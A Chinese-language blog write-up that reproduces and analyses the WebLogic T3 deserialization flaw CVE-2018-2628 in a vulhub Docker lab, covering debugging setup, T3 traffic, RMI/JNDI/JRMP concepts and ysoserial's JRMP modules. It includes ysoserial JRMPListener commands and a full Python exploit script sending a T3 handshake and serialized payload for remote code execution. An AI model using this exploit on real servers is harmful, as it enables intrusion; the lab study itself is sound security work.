从WebLogicT3反序列化学习Java安全
0x01 漏洞复现
下载vulnhub环境,修改镜像内脚本,进行远程调试
首先利用docker-compose up -d
,创建好对应镜像之后,使用同文件下的exp
进行复现
<!--more-->
原docker
只对外开放了默认的7001
端口,这里的8055
是后来开放用于调试的端口,后面会说。
先使用ysoserial
搭建一个本地的JRMP
服务,具体命令如下:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 8000 CommonsCollections1 "touch /tmp/temp"
这里需要记住JRMP
监听端口后面要用
随后在利用本地的exp.py打,注意访问ip问题,这里使用的是局域网地址:
接着另起一个shell
,使用以下命令:
python exp.py 192.168.42.192 7001 ./ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.42.192 8000 JRMPClient
随后会将response
回显出来,我们进入镜像内部,查看文件是否创建
docker exec -it [容器ID] /bin/bash
文件已经成功创建,说明已经成功复现了。
配置远程调试环境
配置本地debug环境
为了保持本地环境与docker
环境一致,所以我们可以使用docker
内部的jdk
版本,并将weblogic
内部的jar
包全部脱下来,记下jdk
镜像所在路径和jar
所在路径,如下图:
知道这两个路径之后,将他们从docker
内部拷贝出来:
docker cp [容器名称(标签)]:/root/jdk [拷贝的目标路径]
docker cp [容器名称(标签)]:/root/Oracle/Middleware/wlserver_10.3 [拷贝的目标路径]
然后将wlserver_10.3
中的所有jar
包筛选出来,作为idea
的库:
cp `find ./wlserver_10.3/ -name "*.jar"` ./dep
虽然这个命令会告警,但能将所有jar
包复制下来,这里是将他们全部收在了dep
目录下。
配置weblogic Debug
找到该目录下的/root/Oracle/Middleware/user_projects/domains/base_domain/bin
的startDomainEnv.sh
,添加如下两行代码:
debugFlag="true"
DEBUG_PORT="8055"
这里需要与下列sh脚本中的变量名保持一致,不一定使用上面两个变量名。
然后更改docker-compose.yml
文件的内容,多开放一个8055
端口,如下图:
然后利用下列命令进行容器重启:
docker restart [容器id]
这样我们之后就能够使用idea
进行调试了。
配置IDEA
将我们复制出来的jdk
作为启动环境
将我们复制出的对应包,作为库:
然后配置好远程调试:
然后启动如果你能看见这段话,说明已经可以远程调试了:
0x02 有关T3协议
T3抓取流量环境配置
首先来观察一下正常的T3协议请求,利用如下代码进行本地T3
通信的搭建:
Hello.class:
package com.ebounce.cn;
import java.rmi.RemoteException;
public interface Hello extends java.rmi.Remote {
String sayHello() throws RemoteException;
}
HelloImpl.class:
package com.ebounce.cn;
import java.rmi.RemoteException;
public class HelloImpl implements Hello {
@Override
public String sayHello() throws RemoteException{
return "Hello From Server";
}
}
Server.class:
package com.ebounce.cn;
import javax.naming.*;
import java.util.Hashtable;
public class Server {
public final static String WebLogicFactory="weblogic.jndi.WLInitialContextFactory";
private static Context getInitialContext() throws NamingException {
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, WebLogicFactory);
env.put(Context.PROVIDER_URL,"t3://127.0.0.1:7001");
return new InitialContext(env);
}
public static void main(String[] args) {
try {
Context ctx = getInitialContext();
ctx.bind("HelloJNDI",new HelloImpl());
System.out.println("JNDI Created");
} catch (NamingException e) {
e.printStackTrace();
}
}
}
Client.class:
package com.ebounce.cn;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public final static String WebLogicFactory = "weblogic.jndi.WLInitialContextFactory";
private static InitialContext getInitialContext() throws NamingException{
Hashtable<String,String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,WebLogicFactory);
env.put(Context.PROVIDER_URL,"t3://127.0.0.1:7001");
return new InitialContext(env);
}
public static void main(String[] args) {
try {
InitialContext ictx = getInitialContext();
Hello HelloObj = (Hello) ictx.lookup("HelloJNDI");
HelloObj.sayHello();
System.out.println("Get Hello From Server");
} catch (Exception e){
System.out.println(e.getMessage());
}
}
}
pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.ebounce.cn</groupId>
<artifactId>java_one</artifactId>
<version>1.0-SNAPSHOT</version>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<source>1.8</source>
<target>1.8</target>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-jar-plugin</artifactId>
<configuration>
<archive>
<manifest>
<addClasspath>true</addClasspath>
<useUniqueVersions>false</useUniqueVersions>
<classpathPrefix>lib/</classpathPrefix>
<mainClass>com.ebounce.cn.Serverr</mainClass>
</manifest>
</archive>
</configuration>
</plugin>
</plugins>
</build>
</project>
将其打包成jar
后,将其放置你创建域的lib
目录下,然后在对应位置启动该类。
然后就能在这里看到我们的HelloJNDI
对象了:
记得运行Client
时,将wlserver/server/lib
目录作为库,直接运行Client
成功得到预期回显。
利用T3协议攻击原理
再次运行Chlient
程序,抓取相应的流量包,我们通过追踪TCP流观察整体过程:
首段报文个人认为是在交换服务器的信息,可能并不准确甚至错误,欢迎各位师傅指正。
最后一段报文:
分析流量包,可以清晰的观察出T3协议通信的整体过程:
接着我们将字节流转储为HEX
看看在16进制字符上有什么特征:
T3协议能够一次传输多个对象
T3
协议会传递序列化的Java对象:
前四个字节00 00 06 d7
为T3
数据包大小,而后面的部分6501ffffffffffffffff000000720000ea600000001900b4b9859d4da090b3b35edb6bbb4d30302d9491391cb342fe027973720078720178720278700000000c00000002000000000000000300000001007070707070700000000c00000002000000000000000300000001007006fe010000
则为T3协议首包共有部分,随后紧接着就是跟的java
序列化数据了。
整体来讲T3
协议的示意图是这样的:
根据这个特征,在利用T3
协议进行攻击时,只需要将客户端传输的数据其中一个对象,替换成为恶意对象,就能够实现攻击了,毕竟如果T3协议传输的数据是序列化数据,那么必定会在获得这些数据时进行反序列化,原理类似与于下图:
0x03 简单区别一下
我们知道Java
安全之中,有相当多的概念,且概念之间还互有交叉,因此我们来区分一下这些概念:
最上层的概念
JDNI(Java Directory and Naming Interface)
,从英文名来看就知道JNDI
实际上是个API
,这个API
的允许使用它的客户端,通过名称发现和查找数据,对于安全来讲,我们主要关注的是JNDI
能够传递对象,这些对象存储在不同的服务中如RMI远程方法调用
,CORBA公共对象请求代理体系结构
,LDAP轻型目录访问协议
。
而我们可以将JDNI
理解成一个高度抽象的接口,能够接受不同服务的查询,统一利用JNDI
内部,进行转换,具体对应哪个对象或者数据由JNDI
下发给对应服务解决,我们只需要告诉他具体名称就行,如需要使用RMI
时,传入字段为:rmi://exampleIP/exampleName
的形式,告诉他我们需要找到RMI
服务下的exampleName
就行。
借用网上被传烂的图:
往下走就是几个我们常说的服务了:
RMI远程方法调用,即不需要对象在我本地,我能够远程调用一个我本地不存在的对象中的方法,我们举个不是很恰当的例子:
我们假设有两家公司(A,B),他们分别跑着不同的JAVA
应用,A公司想要使用B公司正在跑的一个X类里的方法,但因为B公司的X类设计是商业机密,因此B公司不愿意X类的源码给A公司,这个时候就可以使用RMI
解决这个问题了。
感觉更科学一点的过程如下图,总之RMI
就是解决远程对象调用的问题:
那么RMI RCE
又是怎么做到的呢?这里有两个tip
:
RMI
传输依赖于反序列化RMI
支持动态加载远程类。
第一条不用多说,第二条主要是考虑到,RMI
服务端,可能没有RMI
客户端请求的参数类,服务端会先从本地找,如果没有且双方配置条件允许,RMI
服务端会接受RMI
客户端传来的java.rmi.server.codebase
中的url(http,https,ftp等)
均可,尝试从服务端传来的url
,去加载.class
,反之亦然。
因此这里延伸出来两个思路
- 继承服务端给定方法的参数类,从中构造Java反序列化。
- 利用动态加载远程类的特性,迫使服务器加载远程恶意类。
0x04 漏洞分析
触发反序列化
Weblogic
使用T3
协议,而T3
协议实际上相当于Weblogic
自己实现的RMI
,它和RMI
有着类似的特点,他是基于序列化和反序列化的。而T3协议会对传输的序列化内容进行反序列化,所以最后能够实现远程恶意类的加载并RCE
。
编号CVE-2018-2628
的漏洞,实际上是之前T3反序列化漏洞的升级版,当时修复只添加了RMI
中的一个类到黑名单,那么只需要绕过这个黑名单即可。
定位问题类出现的jar
包为wlthint3client.jar
,idea
中打开jar
,找到问题类weblogic.rjvm.InboundMsgAbbrev.class
(后面和网上分析比对了一下,发现自己调的是没有补丁的版本...)
反序列化的终点:
这里会判断传入的内容是ascii
码值,还是字节流,来判断用什么方式读取,由于ServerChannelInputStream
这个类继承自ObjectInputStream
,所以这里会直接调用ObjectInputStream
的readObject
方法,继续跟发现函数体如下:
实际上调用的是,下面这个函数体,就是普普通通的readObject
方法,从而实现反序列化
返回对应类的resolveClass
如下:
而这里的super.resolveClass
为jdk1.6
包中的内容,利用forName
通过类名找到对应的类并返回对应类
我们可以动态调试一下观察这个过程,我们发现这里resolveClass
函数得到的类名和之前抓到的流量包,顺序是一致的,如下图:
对应下来会发现其中出现的包名顺序是第一个包中的内容,这也说明了T3
协议确实能够进行反序列化,然后是按照我们传入的包的顺序进行反序列化的,并且最后当第一个包反序列化完成之后,第二个包开始反序列化时,就开始反序列化一些和RMI
有关的包了(为了防止gif太大,跳的比较快,请见谅)。这时候我们可以观察一下函数栈:
通过函数栈来分析weblogic T3
协议反序列化过程,我们发现整体过程是weblogic.socket
,从request
中读取字节流传给weblogic.rjvm
到InboundMsgAbbrev
中进行逐个字节的读取,并将其传给readObject
函数进行反序列化,前文说了T3
协议能够一次传递大量数据(对象),因此这里也会将传递的字节流逐一反序列化,而ysoserial
中的CC1
链涉及到的包,刚好weblogic
里面也有从而造成了反序列漏洞。
分析ysoserial的JRMP模块
我们来看看POC
的两条命令:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 7777 CommonsCollections1 "touch /tmp/hello"
python exp.py 192.168.42.167 7001 ./ysoserial-0.0.6-SNAPSHOT-all.jar 192.168.42.167 7777 JRMPClient
这里进行了两步操作,一个是在本地启动了一个JRMPListener
,同时又启动了一个JRMPClient
服务去使用我们刚刚建立在7777
端口的JRMP
服务,
由于之前已经分析过CC1
利用链了,这里不再赘述,我们来看看其他组件
ysoserial.payloads.JRMPClient分析
此处就是exp.py
调用的payload
了,我们注意到,在使用payload
时,这里exp
会输出调用的命令:
这里我们从ysoserial
工具的使用上,,很容易知道其实这里调用的是ysoserial.payloads.JRMPListener
,根据作者给出的利用链去分析为:
/*
* UnicastRef.newCall(RemoteObject, Operation[], int, long)
* DGCImpl_Stub.dirty(ObjID[], long, Lease)
* DGCClient$EndpointEntry.makeDirtyCall(Set<RefEntry>, long)
* DGCClient$EndpointEntry.registerRefs(List<LiveRef>)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
* Thread.start()
* DGCClient$EndpointEntry.<init>(Endpoint)
* DGCClient$EndpointEntry.lookup(Endpoint)
* DGCClient.registerRefs(Endpoint, List<LiveRef>)
* LiveRef.read(ObjectInput, boolean)
* UnicastRef.readExternal(ObjectInput)
*
*/
主要源码如下:
这里看着和RMI
的RCE非常类似,这里序列化的起点在RemoteObjectInvocationHandler
中,该类不存在readObject
方法,但继承自RemoteObject
类
RemoteObject
类存在readObject
方法如下:
此处的ref
由于创建时设置好了为UnicastRef
类,此处不为null
,走else
下去到
也就是到反序列化链条的第一步UnicastRef.readExternal(ObjectInput)
,该方法体如下:
继续跟:
中间省略掉刚刚重复的步骤,最后走入DGCClient$EndpointEntry.makeDirtyCall
最后会尝试根据我们给出的远程地址进行连接:
ysoserial.exploit.JRMPListener分析
在刚启动这个组件时会根据我们的命令行参数进行初始化操作:
这里利用makePayloadObject
获得对应的反序列化类,
然后通过forName
找到对应类:
到这里就已经准备好了对应payload
最后走到c.Run
进行愉快地监听,等着进一步的输入:
如果存在输入,这里会读取我们的输入,并生成一个socket
,最后来到doMessage
函数,这里输入是哪里来的呢?是我们通过ysoserial.payloads.JRMPClient
进行执行反序列化漏洞时,被攻击者请求的:
这里会设置好需要发送的Message
信息,如目标Ip和端口,交互时的输入和输出数据以及之前准备好的payload
。
在doCall
处对输出内容进行了刷新,即在doCall
时就将反序列化的脏数据,发送给被攻击者。
细心的同学会发现,这里发送给JRMPClient
端的是一个异常:
整合两步操作的RCE
既然我们发送给JRMPClient
端的是一个异常,那么JRMPClient
中的
这里依然会走UnicastRef.invoke(var5)->var5.executeCall()
的老路子,直接看到最后:
由此通过异常处理的分支触发了反序列化漏洞。
总结一下
首先我们需要简单了解一下JRMP
的作用,这里用一张网图来代替
实际上JRMP
类似于RMI
之间通信所使用的协议,它比一般情况下使用的rmi://[ip]:[port]/[name]
更底层一点。
然后我们来回顾一下这个漏洞利用的过程:
- 已知靶机存在T3反序列化
(类似于RMI的反序列化) - 攻击者在
VPS
建立JRMP
服务器。 - 攻击者构造T3协议恶意反序列化数据,执行
JRMPClient
反序列化漏洞 - 靶机由于反序列化漏洞,自身作为
JRMPClient
去请求远程的JRMP
服务器,即攻击者的VPS
- 攻击者的
VPS
返回异常信息,被攻击者处理异常。 - 处理异常处存在反序列化操作,造成反序列化RCE。
0x05 一点疑惑
梳理清楚整体过程之后,菜鸡我产生了一个疑惑,如果weblogic-T3
能够直接进行反序列化,为什么不直接在T3反序列化
时构造,空想不如试试,这次直接生成CC1
链的反序列化数据,进行exp
:
将exp
中的调用命令部分注释掉,只留下读取的部分,然后其他多余的部分统统注释掉,修改后的exp.py
如下:
from __future__ import print_function
import binascii
import os
import socket
import sys
import time
def generate_payload():
bin_file = open('payload.out','rb').read()
return binascii.hexlify(bin_file)
def t3_handshake(sock, server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('handshake successful')
def build_t3_request_object(sock, port):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd6000000070000{0}ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'.format('{:04x}'.format(dport))
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('send request payload successful,recv length:%d'%(len(sock.recv(2048))))
def send_payload_objdata(sock, data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
sock.send(payload.decode('hex'))
res = ''
try:
while True:
res += sock.recv(4096)
time.sleep(0.1)
except Exception:
pass
return res
def exploit(dip, dport):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(65)
server_addr = (dip, dport)
t3_handshake(sock, server_addr)
build_t3_request_object(sock, dport)
payload = generate_payload()
print("payload: " + payload)
rs=send_payload_objdata(sock, payload)
print('response: ' + rs)
print('exploit completed!')
if __name__=="__main__":
dip = sys.argv[1]
dport = int(sys.argv[2])
exploit(dip, dport)
不使用JRMP:
我们发现这个时候exp
仍然执行成功了。那么问题来了,既然T3
协议可以直接反序列化RCE,那么又出于什么原因需要使用JRMP
迂回呢?
在询问大佬之后,发现有以下几个原因:
- JRMP反序列化的Payload更短,防止请求包数据过大,直接造成返回状态码413(Request Entity Too Large),无法执行反序列化,这个例子挺常见的,比如测试
shiro
反序列化漏洞时,就有可能因为Payload
过长,无法正常反序列化。
使用JRMP:
- 如果靶机出网可以像
URLDNS
一样,用作快速检测,JRMP
通过上述分析,是利用报错进行反序列化的,既然报错那就存在回显的情况 - 可以绕过一些反序列化的黑名单,因为使用
JRMP
的链条时,只会反序列化JRMP
相关的组件,不会加载常见恶意类,可以将其理解成为二次URL编码绕过一样,只不过这里变成了二次反序列化
参考链接:
ysoserial JRMP相关模块分析(二)- payloads/JRMPClient & exploit/JRMPListener
Java 中 RMI、JNDI、LDAP、JRMP、JMX、JMS那些事儿(上)